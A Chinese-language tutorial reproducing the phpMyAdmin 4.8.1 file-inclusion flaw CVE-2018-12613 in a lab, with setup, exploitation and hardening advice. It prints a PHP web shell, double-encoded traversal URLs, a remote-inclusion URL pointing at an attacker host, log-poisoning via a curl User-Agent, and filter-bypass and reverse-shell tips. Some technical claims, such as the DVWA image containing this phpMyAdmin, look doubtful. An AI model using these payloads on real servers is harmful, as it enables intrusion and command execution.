CVE-2018-12613漏洞复现:phpMyAdmin远程文件包含原理与实战
1. 项目概述:一次对经典Web应用漏洞的深度剖析
今天我们来聊聊一个在渗透测试和Web安全学习圈子里绕不开的经典案例:phpMyAdmin 4.8.1版本的远程文件包含漏洞(CVE-2018-12613)。如果你负责维护过使用phpMyAdmin的服务器,或者正在学习Web安全攻防,这个漏洞的名字你大概率听过。它之所以“经典”,是因为它完美地展示了在一个看似功能完善的成熟软件中,如何因为一处逻辑疏忽,就为攻击者打开了一扇通往服务器内部的大门。简单来说,这个漏洞允许攻击者通过精心构造的请求,让phpMyAdmin的特定文件包含一个远程服务器上的恶意代码,从而在目标服务器上执行任意命令。这可不是小事,想想看,phpMyAdmin通常拥有数据库的高权限,一旦被利用,数据泄露、服务器沦陷都是分分钟的事。
我之所以想把这个漏洞的复现和分析过程写下来,是因为我发现很多相关的文章要么过于简略,只给个Payload了事;要么就是环境搭建不完整,让初学者卡在第一步。我希望通过这篇内容,不仅能带你一步步亲手复现这个漏洞,更重要的是,让你理解漏洞产生的根本原因、利用条件的限制,以及在实际渗透测试或安全评估中,如何系统地发现和验证这类问题。无论你是刚入门的安全爱好者,还是需要排查自家服务器隐患的运维人员,这篇文章都能给你提供一套清晰的思路和可操作的步骤。我们会从环境搭建开始,逐步深入到代码审计、漏洞利用和修复方案,整个过程力求详尽,确保你能跟得上、做得通。
2. 漏洞原理与核心逻辑缺陷拆解
要理解CVE-2018-12613,我们得先搞清楚两个关键概念:文件包含和phpMyAdmin的索引文件(index.php)路由逻辑。
2.1 文件包含漏洞的基础
在PHP中,include、require、include_once、require_once这些语句,其本意是为了代码复用,比如把数据库连接配置、页头页尾等公共部分写成单独的文件,然后在需要的地方包含进来。问题在于,如果包含的文件路径是由用户输入(如URL参数)控制的,并且没有经过严格的过滤,攻击者就可以通过传入类似../../../etc/passwd或http://evil.com/shell.txt这样的路径,来读取敏感系统文件或执行远程恶意代码。前者叫本地文件包含(LFI),后者就是这次漏洞涉及的远程文件包含(RFI)。RFI的危害通常更大,因为它意味着攻击者可以完全控制被包含的代码内容。
2.2 phpMyAdmin 4.8.1的特定缺陷点
phpMyAdmin作为一个大型应用,当然知道要防范文件包含。它在index.php入口文件的开头,就对包含操作进行了白名单校验。核心的漏洞代码位于index.php的约60-70行。为了让你看得更明白,我把关键逻辑简化一下:
// index.php 中的关键代码片段 if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }这段代码的意思是:如果请求中有target参数,并且它是字符串,且不以index开头,不在黑名单$target_blacklist里,并且通过了Core::checkPageValidity()函数的检查,那么就直接包含这个target参数指定的文件。
漏洞的根源就出在**Core::checkPageValidity()函数**的实现上。这个函数本应严格检查target参数是否在白名单(一个允许被包含的脚本列表,如db_structure.php,sql.php等)内。在4.8.1及之前的一些版本中,该函数的校验逻辑存在缺陷。它使用了urldecode()函数对target参数进行解码,然后进行白名单匹配。但关键在于,这个校验可能只执行了一次。
攻击者可以利用的是:二次编码(Double Encoding)或问号(?)截断技巧。例如,攻击者传入的target参数不是简单的db_structure.php,而是经过URL编码的db_structure.php%3F(?的编码是%3F)。Core::checkPageValidity()函数对其进行urldecode后,得到db_structure.php?,由于白名单里确实有db_structure.php,校验可能就通过了。然而,到了最后的include语句时,$_REQUEST[‘target’]的值可能仍然是原始的db_structure.php%3F,或者因为PHP/Apache的某些处理机制,?后面的内容会被解释为HTTP查询字符串,从而使得include语句实际尝试包含的是一个像db_structure.php?../../../../test.txt这样的路径。如果服务器配置允许(allow_url_include为On),且路径可控,就可能实现文件包含。
注意:这里描述的是一种简化的攻击路径。实际利用中,由于PHP版本、Web服务器配置(如
allow_url_include、allow_url_fopen)以及phpMyAdmin自身其他过滤的影响,直接包含远程URL(RFI)的条件在默认环境下往往比较苛刻。更常见的利用方式是结合phpMyAdmin自身存在的本地文件(如Session文件、日志文件)写入能力,先写入恶意代码,再通过此漏洞包含本地文件,从而绕过远程包含的限制。这才是该漏洞在实际渗透中更典型的利用链。
2.3 漏洞利用的关键条件
理解了这个逻辑,我们就能总结出成功利用这个漏洞通常需要的几个条件,这也是我们复现环境需要搭建的:
- phpMyAdmin版本:受影响版本主要为4.8.0和4.8.1,部分早期版本也可能受影响。4.8.2版本已修复。
- PHP配置:
allow_url_include:需要设置为On才能支持包含远程URL(经典RFI)。在PHP 5.2及以上版本中,此选项默认是Off的,因此纯远程包含往往受限。allow_url_fopen:通常也需要为On。- Session、文件上传等相关功能可用,为组合利用提供可能。
- 可访问的phpMyAdmin入口:通常需要能登录到phpMyAdmin的管理界面,因为
index.php的该段代码在认证后的上下文执行。但也有可能通过其他无需认证的入口点触发(如果存在),不过最常见的利用场景还是已获得一个低权限账户后,进行权限提升或横向移动。
3. 靶场环境搭建与配置要点
纸上谈兵终觉浅,绝知此事要躬行。要真正理解这个漏洞,最好的办法就是亲手搭建一个漏洞环境并复现它。下面我详细说明两种主流的方法:使用Docker快速搭建和手动配置集成环境。
3.1 方案一:使用Docker快速搭建(推荐)
对于学习和测试,Docker无疑是最快捷、最干净的方式。它能把所有依赖打包在一个容器里,复现完毕一键删除,不会污染宿主机。
步骤1:拉取漏洞环境镜像网络上已经有安全研究人员制作好了现成的漏洞环境镜像。我们可以直接使用。打开终端,执行以下命令:
docker pull vulnerables/web-dvwa # 注意:DVWA镜像可能集成了多个漏洞环境,包括phpMyAdmin CVE-2018-12613。也可以专门寻找只包含该漏洞的镜像,例如: # docker pull citizenstig/phpmyadmin-cve-2018-12613这里以vulnerables/web-dvwa为例,因为它是一个知名的综合靶场,其中包含了我们要复现的环境。
步骤2:运行容器
docker run -d -p 8080:80 --name pma-test vulnerables/web-dvwa这条命令的含义是:以后台模式 (-d) 运行一个名为pma-test的容器,将容器内部的80端口映射到宿主机的8080端口。运行后,你可以在浏览器访问http://你的宿主机IP:8080来访问靶场。
步骤3:定位并访问phpMyAdminDVWA靶场首页通常会有各种漏洞的链接。你需要找到指向phpMyAdmin的部分。有时它可能直接位于http://宿主机IP:8080/phpmyadmin。如果找不到,可以进入容器内部查看:
docker exec -it pma-test /bin/bash find / -name "*phpmyadmin*" -type d 2>/dev/null找到路径后,退出容器,在浏览器访问对应路径即可。
实操心得:使用Docker时,务必注意端口冲突。如果宿主机8080端口已被占用,可以改为
-p 8081:80。另外,有些镜像的phpMyAdmin可能默认没有启用allow_url_include,你可能需要进入容器修改PHP配置文件(通常是/etc/php5/apache2/php.ini或/etc/php/7.x/apache2/php.ini),找到allow_url_include和allow_url_fopen,将其值改为On,然后重启Apache服务(service apache2 restart)。
3.2 方案二:手动搭建LAMP环境与phpMyAdmin
如果你想更深入地了解环境细节,或者Docker方案遇到问题,手动搭建是一个很好的学习过程。
步骤1:准备Web服务器和PHP在Ubuntu系统上,你可以使用以下命令安装Apache、PHP及必要扩展:
sudo apt update sudo apt install apache2 php libapache2-mod-php php-mysql php-mbstring php-zip php-gd -y安装完成后,通过sudo systemctl status apache2检查Apache是否运行,并通过php -v查看PHP版本。为了复现漏洞,建议安装PHP 5.x 或 7.0 版本,这些版本对相关配置的支持更符合漏洞存在的历史环境。
步骤2:下载并部署有漏洞的phpMyAdmin 4.8.1前往phpMyAdmin的官方GitHub仓库发布页面,找到4.8.1版本的ZIP包下载链接。
wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip sudo unzip phpMyAdmin-4.8.1-all-languages.zip -d /var/www/html/ sudo mv /var/www/html/phpMyAdmin-4.8.1-all-languages /var/www/html/phpmyadmin sudo chown -R www-data:www-data /var/www/html/phpmyadmin关键一步是修改PHP配置,启用远程包含支持:
sudo nano /etc/php/7.2/apache2/php.ini # 请根据你的PHP版本调整路径在文件中搜索allow_url_include和allow_url_fopen,将它们的值从Off改为On。
allow_url_fopen = On allow_url_include = On保存后,重启Apache服务使配置生效:
sudo systemctl restart apache2步骤3:配置数据库(可选)为了能登录phpMyAdmin界面,你还需要一个MySQL数据库。可以安装MariaDB并创建一个测试用户。
sudo apt install mariadb-server -y sudo mysql_secure_installation # 运行安全初始化脚本,按提示设置root密码等登录MySQL,为phpMyAdmin创建用户和数据库:
sudo mysql -u root -p在MySQL提示符下执行:
CREATE DATABASE test_db; CREATE USER 'pma_user'@'localhost' IDENTIFIED BY 'YourStrongPassword123!'; GRANT ALL PRIVILEGES ON test_db.* TO 'pma_user'@'localhost'; FLUSH PRIVILEGES; EXIT;然后,你可以通过http://你的服务器IP/phpmyadmin访问,用刚才创建的pma_user和密码登录。
注意事项:在生产环境中,
allow_url_include和allow_url_fopen必须设置为Off,这是至关重要的安全配置。我们仅在测试环境中临时开启。手动搭建时,文件的权限(www-data用户)和PHP扩展(如php-mysql)缺失是常见的失败原因,务必仔细检查。
4. 漏洞复现实操与利用链分析
环境准备好后,我们进入最关键的环节:复现漏洞。我将演示两种思路:一是尝试经典的远程文件包含(RFI),二是更贴近实际攻击的“本地文件包含+文件写入”组合拳。
4.1 尝试经典远程文件包含(RFI)
这种方法直接测试include功能能否包含远程服务器上的PHP脚本。
步骤1:准备恶意脚本在你的另一台可控服务器(攻击机)上,创建一个简单的PHP Web Shell。例如,在攻击机的Web目录(如/var/www/html/)下创建文件evil.txt,内容为:
<?php system($_GET[‘cmd’]); ?>注意,这里使用.txt后缀有时可以绕过一些基础的文件类型检查。确保攻击机的Web服务已启动,并能通过http://攻击机IP/evil.txt访问到这个文件。
步骤2:构造攻击请求登录你的phpMyAdmin 4.8.1靶场。打开浏览器开发者工具(F12),切换到Network(网络)标签页,保持记录状态。
然后,在浏览器地址栏或使用工具(如curl、Burp Suite)发送以下请求:
http://靶场IP:端口/phpmyadmin/index.php?target=db_structure.php%253f/../../../../../../../../var/www/html/evil.txt或者尝试包含远程URL(前提是allow_url_include=On):
http://靶场IP:端口/phpmyadmin/index.php?target=db_structure.php%253fhttp://攻击机IP/evil.txt?&cmd=id参数解释:
target:这是触发漏洞的核心参数。db_structure.php%253f:%253f是问号?的二次URL编码(?->%3F->%253F)。目的是绕过Core::checkPageValidity函数的检查,让其解码一次后匹配白名单db_structure.php。- 后面的
../../../../或远程URL,则是我们希望包含的实际路径。 - 如果是远程URL且带了
cmd=id参数,我们期望能执行id命令。
步骤3:观察结果
- 查看浏览器响应:如果页面返回了执行
id命令后的系统用户信息(如uid=33(www-data) gid=33(www-data) groups=33(www-data)),那么恭喜,经典的RFI利用成功了。 - 查看开发者工具Network:观察发送的请求详情和服务器返回的响应体。如果失败,响应可能是空白、包含错误信息,或者直接跳转。
踩坑记录:在PHP 5.2以上版本且
allow_url_include=Off的默认配置下,直接包含远程URL(http://...)十有八九会失败。你会看到类似“URL file-access is disabled in the server configuration”的警告。这正是为什么纯RFI利用条件苛刻的原因。因此,我们需要转向更可行的路径。
4.2 本地文件包含(LFI)与日志文件注入组合利用
既然远程包含困难,攻击者往往会寻找服务器上已有的、内容可控的文件进行包含。Web服务器的访问日志是一个绝佳的目标。
步骤1:确认日志文件路径和权限首先,我们需要知道靶场Apache日志的位置。常见路径有:
/var/log/apache2/access.log/var/log/apache2/error.log/var/log/httpd/access_log
你可以通过登录容器或靶场系统来查找:
docker exec -it pma-test find /var/log -name “*access*log” 2>/dev/null假设我们找到路径是/var/log/apache2/access.log。同时,需要确保运行phpMyAdmin的PHP进程(通常是www-data用户)有读取这个日志文件的权限。
步骤2:向日志中注入PHP代码访问日志记录了每一个HTTP请求。如果我们发起一个请求,在User-Agent或GET参数中携带PHP代码,这段代码就会被原样记录到日志文件里。例如,使用curl命令:
curl -A “<?php system(\$_GET[‘c’]); ?>” “http://靶场IP:端口/phpmyadmin/”这条命令会向phpMyAdmin首页发起一个请求,并将User-Agent设置为我们的PHP Web Shell代码。执行后,这段<?php system($_GET[‘c’]); ?>就会被写入access.log文件。
步骤3:通过漏洞包含日志文件现在,我们利用CVE-2018-12613漏洞,去包含这个已经被“污染”的日志文件。构造如下请求:
http://靶场IP:端口/phpmyadmin/index.php?target=db_structure.php%253f/../../../../../../../../var/log/apache2/access.log&c=id参数解释:
target参数指向了日志文件的路径。- 在URL末尾,我们添加了
&c=id。当漏洞成功包含access.log文件时,文件中的PHP代码<?php system($_GET[‘c’]); ?>会被服务器解析执行,而$_GET[‘c’]的值就是id。
步骤4:验证命令执行发送上述请求。如果漏洞利用成功,你将在页面响应中看到id命令的执行结果,即当前Web服务运行的用户身份(如www-data)。
实操心得:日志文件包含是LFI漏洞非常经典的利用技巧。但需要注意几点:1) 日志文件可能很大,包含时可能导致超时或内存耗尽,可以尝试包含
error.log,它通常更小。2) 现代系统或Docker镜像可能对日志目录的权限控制更严格,www-data用户可能无权读取。如果遇到权限问题,可能需要调整日志文件权限(测试环境中可临时chmod 644),但这在生产环境中是极不安全的,仅用于测试理解原理。3. 注入的PHP代码必须确保语法正确。如果日志文件本身包含一些破坏PHP语法的字符(如换行、引号),可能导致包含失败。有时需要多次尝试或进行编码。
5. 漏洞深度分析与修复方案
成功复现漏洞后,我们不能仅仅停留在“能用”的层面。理解它如何被修复,以及我们如何防御此类问题,同样重要。
5.1 官方修复代码解读
phpMyAdmin在4.8.2版本中修复了此漏洞。修复的核心是改进了libraries/classes/Core.php文件中的checkPageValidity方法。我们来看一下关键的改动:
修复前(有漏洞的版本)逻辑简化版:
public static function checkPageValidity(&$page, array $whitelist = []) { // ... 一些处理 ... $page = urldecode($page); // 这里进行了一次解码 if (in_array($page, $whitelist)) { return true; } // ... 其他检查 ... }问题在于,它只做了一次urldecode,且后续的包含操作可能使用了未解码或不同解码状态的变量。
修复后(4.8.2+)的关键改进:
- 移除危险的
urldecode:在checkPageValidity函数中,不再对输入参数进行urldecode。白名单匹配直接在原始输入或经过安全处理的路径上进行。 - 强化路径校验:增加了对包含路径中是否出现
..(目录遍历)的检查。 - 规范化处理:使用
basename()等函数确保只获取文件名部分,防止路径穿越。
修复的核心思想是:在白名单验证阶段,必须使用与最终包含操作完全一致的字符串进行比较,任何额外的解码或转换都必须在验证之后、且结果安全可控的情况下进行。
5.2 安全加固与防御建议
如果你的环境中仍有旧版phpMyAdmin,或者你想从运维角度防范此类漏洞,可以采取以下措施:
- 立即升级:这是最根本、最有效的办法。将phpMyAdmin升级到最新稳定版(或至少高于4.8.1的版本)。
- 最小化PHP配置:
- 强制关闭
allow_url_include和allow_url_fopen:在php.ini中明确设置它们为Off。这能从根本上杜绝远程文件包含的风险。 - 设置
open_basedir:将PHP可访问的文件限制在Web目录等特定范围内,例如open_basedir = /var/www/html:/tmp。这能有效遏制目录遍历攻击。
- 强制关闭
- 强化Web服务器配置:
- 为phpMyAdmin目录添加额外的访问控制:在Apache的虚拟主机配置或
.htaccess文件中,限制仅允许特定IP地址(如管理后台IP)访问/phpmyadmin目录。
<Directory /var/www/html/phpmyadmin> Order Deny,Allow Deny from all Allow from 192.168.1.0/24 # 仅允许内网IP段 Allow from 203.0.113.5 # 或者允许特定的公网管理IP </Directory>- 使用别名或子域名:将phpMyAdmin部署在一个不易被猜到的路径或子域名下,避免使用
/phpmyadmin这种默认路径。
- 为phpMyAdmin目录添加额外的访问控制:在Apache的虚拟主机配置或
- 遵循最小权限原则:
- 为phpMyAdmin连接数据库使用一个权限尽可能低的用户,只赋予其管理特定数据库的必要权限,而不是全局的
ALL PRIVILEGES。 - 确保Web服务器进程(如www-data)对系统文件和其他非Web目录的读取权限受到严格控制。
- 为phpMyAdmin连接数据库使用一个权限尽可能低的用户,只赋予其管理特定数据库的必要权限,而不是全局的
- 部署Web应用防火墙(WAF):对于企业环境,可以考虑部署WAF。WAF规则库通常会包含对CVE-2018-12613这类已知漏洞攻击特征的检测和拦截。
5.3 渗透测试中的思考延伸
从攻击者视角看,这个漏洞的利用过程给我们上了生动的一课:漏洞利用很少是单点突破,而是一个链条(攻击链)。
- 信息收集:如何发现目标使用了phpMyAdmin以及其版本?可以通过扫描常见路径、检查HTTP响应头中的
X-Powered-By字段、或者利用其他信息泄露漏洞。 - 权限获取:CVE-2018-12613通常需要能访问到phpMyAdmin的登录后界面。这意味着攻击者可能需要先通过弱口令爆破、社工或其他漏洞获取一个数据库用户凭证。这提醒我们,即使后台漏洞存在,强密码和双因素认证也能构成有效屏障。
- 利用条件探测:即使找到漏洞点,也需要判断环境是否满足利用条件(如
allow_url_include状态、日志文件路径和权限)。这需要攻击者具备一定的环境探测能力。 - 组合利用:正如我们复现时所做,单一的RFI不行,就结合LFI和日志注入。在真实攻击中,还可能结合文件上传漏洞(将Web Shell上传到临时目录,再通过此漏洞包含)、Session文件注入等多种技术。
因此,作为防御方,我们的策略也应该是层次化的:及时修补已知漏洞、收紧服务器配置、实施网络隔离和访问控制、监控异常日志(如大量包含../或编码字符的请求)。安全是一个持续的过程,而非一劳永逸的状态。
6. 常见问题与排查技巧实录
在复现和教学过程中,我遇到了不少问题。这里把一些典型问题和解决方法记录下来,希望能帮你少走弯路。
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
访问index.php?target=...直接跳转到登录页或首页,没有任何错误信息。 | 1.未登录状态:漏洞代码可能在认证检查之后执行。 2. target参数校验不通过:传入的target值未能通过Core::checkPageValidity检查。 | 1. 确保你已经成功登录phpMyAdmin。可以尝试先正常登录,再在新标签页中构造漏洞URL。 2. 尝试使用不同的白名单文件进行路径穿越,如 db_sql.php,db_operations.php等。确保编码正确。使用Burp Suite的Decoder工具辅助进行URL编码/解码。 |
| 页面返回空白或包含PHP警告/错误,但未执行命令。 | 1.PHP配置限制:allow_url_include为Off,无法包含远程URL或某些协议。2.文件路径错误:包含的本地文件路径不正确或权限不足。 3.注入的PHP代码被破坏:日志文件中的特殊字符(如换行、 <、>被转义)导致PHP语法错误。 | 1. 确认php.ini中allow_url_include和allow_url_fopen已设置为On并重启了Web服务。2. 使用绝对路径,并通过系统命令(如 find / -name access.log 2>/dev/null)确认日志文件确切位置和权限(ls -la /var/log/apache2/access.log)。3. 查看包含文件后的页面源代码(Ctrl+U),看注入的代码是否被原样输出。如果是,说明文件被包含但未解析,可能后缀不是 .php或PHP配置问题。尝试包含一个已知的纯PHP文件测试。4. 简化注入的代码,例如只注入 <?php phpinfo(); ?>,并检查日志文件中该行是否完整。 |
| 使用Docker镜像,但找不到phpMyAdmin或漏洞无法触发。 | 1.镜像中phpMyAdmin路径不同。 2.镜像默认配置未开启漏洞所需选项。 | 1. 进入容器内部仔细查找:docker exec -it 容器名 bash,然后使用find或ls命令遍历/var/www等常见Web目录。2. 检查容器内的PHP配置:`php -i |
| 包含日志文件时,页面加载极慢或超时。 | 访问日志文件(access.log)可能非常庞大,包含整个文件会导致PHP进程超时或内存耗尽。 | 1. 尝试包含错误日志(error.log),它通常小很多。 2. 清空或截断日志文件后再注入(测试环境): echo ‘’ > /var/log/apache2/access.log。3. 在请求中尝试读取日志文件末尾部分,但利用漏洞实现这一点比较复杂,通常不如前两种方法直接。 |
| 命令执行成功,但无法进行后续操作(如反弹Shell)。 | 1.系统命令被禁用:PHP的disable_functions配置可能禁用了system,exec,shell_exec等函数。2.网络限制:服务器出站连接可能被防火墙阻止。 | 1. 使用phpinfo()页面查看disable_functions列表。尝试使用未被禁用的函数,如passthru(),popen(), 反引号(``)操作符,或利用PHP文件操作函数写Web Shell。2. 尝试使用DNS外带或HTTP外带技术泄露数据,而不是直接反弹TCP Shell。对于反弹Shell,可尝试不同端口和工具(如nc, bash, python)。 |
独家避坑技巧:
- 善用编码:当直接包含
../被过滤时,尝试其URL编码%2e%2e%2f或双重编码%252e%252e%252f。对于空格的编码(%20、+)也要灵活尝试。 - 参数污染:有时单独一个
target参数不行,可以尝试同时提供多个相同参数,如?target=valid.php&target=../../../evil.txt。不同Web服务器/PHP版本处理方式不同,可能绕过检查。 - 使用Burp Suite:手动在浏览器地址栏构造复杂编码的URL很容易出错。使用Burp Suite的Repeater模块,可以方便地对请求进行编辑、各种编码解码,并观察响应,是复现此类漏洞的利器。
- 关注错误信息:开启PHP的
display_errors(测试环境)可以让你看到包含失败的具体原因,是路径错误、权限问题还是语法错误,这对于调试至关重要。
通过以上步骤和问题排查,你应该能够成功复现CVE-2018-12613漏洞,并对其原理、利用条件和防御方法有一个立体而深入的理解。安全研究就是这样,动手实践一次,远比读十篇分析文章印象更深刻。
